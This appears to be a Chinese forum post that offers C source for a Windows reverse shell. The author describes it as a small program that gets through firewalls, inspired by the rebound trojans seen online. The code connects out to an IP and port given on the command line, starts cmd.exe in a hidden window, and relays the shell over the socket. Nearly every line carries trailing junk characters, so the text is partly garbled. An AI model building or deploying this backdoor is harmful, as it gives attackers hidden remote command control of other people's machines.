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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Q\oa<R D5  
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/* ============================== 2OG/0cP  
Rebound port in Windows NT Q0*E&;|  
By wind,2006/7 8 Ku9;VEk  
===============================*/ N'1I6e"  
#include *0U#Z]t  
#include \Y#  
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#pragma comment(lib,"wsock32.lib") =lNW1J\SW  
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void OutputShell(); _/[qBe  
SOCKET sClient; +|?a7qM  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3G// _f  
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void main(int argc,char **argv) Rtf<UhUn  
{ u5CSx'h]  
WSADATA stWsaData; I0-1Hr  
int nRet; a[ULSYEi  
SOCKADDR_IN stSaiClient,stSaiServer; lp*5;Ls'q  
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if(argc != 3) <3Ftq=  
{ nC:T0OJv  
printf("Useage:\n\rRebound DestIP DestPort\n"); ^Ks1[xc*`  
return; W3i<Unq  
} Rsx6vF8]5  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ;Q ZG<  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )\U:e:Zae  
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stSaiClient.sin_family = AF_INET; /fQcrd7h  
stSaiClient.sin_port = htons(0); lyL6w1  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6O4 *OR<&  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) a$W O} g?  
{ AFt- V  
printf("Bind Socket Failed!\n"); gD$&OkH  
return; osc8;B/  
} 8%4;'[UV  
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stSaiServer.sin_family = AF_INET; 5%'ybh)@   
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); e.\>GwM  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2d[tcn$;h]  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5N9Cd[4  
{ 3P_.SF  
printf("Connect Error!"); 1@Ba7>%'  
return; p5In9s  
} BDt$s( \  
OutputShell(); Uahh|> s  
} Q-)(s  
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void OutputShell() ;v8TT}R  
{ Y] 1U1 08  
char szBuff[1024]; CW`^fI9H  
SECURITY_ATTRIBUTES stSecurityAttributes; Zl_sbIY  
OSVERSIONINFO stOsversionInfo; N\|B06X  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; TjpyU:R,&|  
STARTUPINFO stStartupInfo; IO7z}![V;  
char *szShell; DzC`yWstP  
PROCESS_INFORMATION stProcessInformation; q~>!_q]FE  
unsigned long lBytesRead; FC 8<D  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8hV]t'/;  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *gmc6xY  
stSecurityAttributes.lpSecurityDescriptor = 0; TJ)Nr*U3_  
stSecurityAttributes.bInheritHandle = TRUE; X&Oo[Z  
u`EK^\R  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~U+<JC Z  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); h`Jc%6o  
<mX5VGY9^  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #h.N#{9  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Eq@sU?j  
stStartupInfo.wShowWindow = SW_HIDE; R14&V1 tZ  
stStartupInfo.hStdInput = hReadPipe; gvVy0nJI~  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Gn7\4,C  
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GetVersionEx(&stOsversionInfo); )t~ad]oM  
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switch(stOsversionInfo.dwPlatformId) 4=MVn  
{ '4{@F~fu  
case 1: 3SM'vV0[  
szShell = "command.com"; A._CCou  
break; .(&6gB  
default: x~'_;>]r_  
szShell = "cmd.exe"; K*^'t ltJ  
break; hgZvti  
} wgDAb#Zuk  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); i<&z'A6&]*  
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send(sClient,szMsg,77,0); H!NGY]z*  
while(1) eDo4>k"5  
{ QVn2`hr  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }?b\/l<  
if(lBytesRead) U>Is mF>m  
{ TrZ!E`~  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); kW+>"3  
send(sClient,szBuff,lBytesRead,0); C\rT'!Uk\Q  
} ZyDf@(z`  
else DmoY],9I+p  
{ `?:{aOI  
lBytesRead=recv(sClient,szBuff,1024,0); [/ CB1//Y  
if(lBytesRead<=0) break; !d0$cF):  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 7|Vpk&.>  
} @"cnPLh&  
} Pf8_6z_  
Y&VypZ"G>  
return; ~+6#4<M.~  
}
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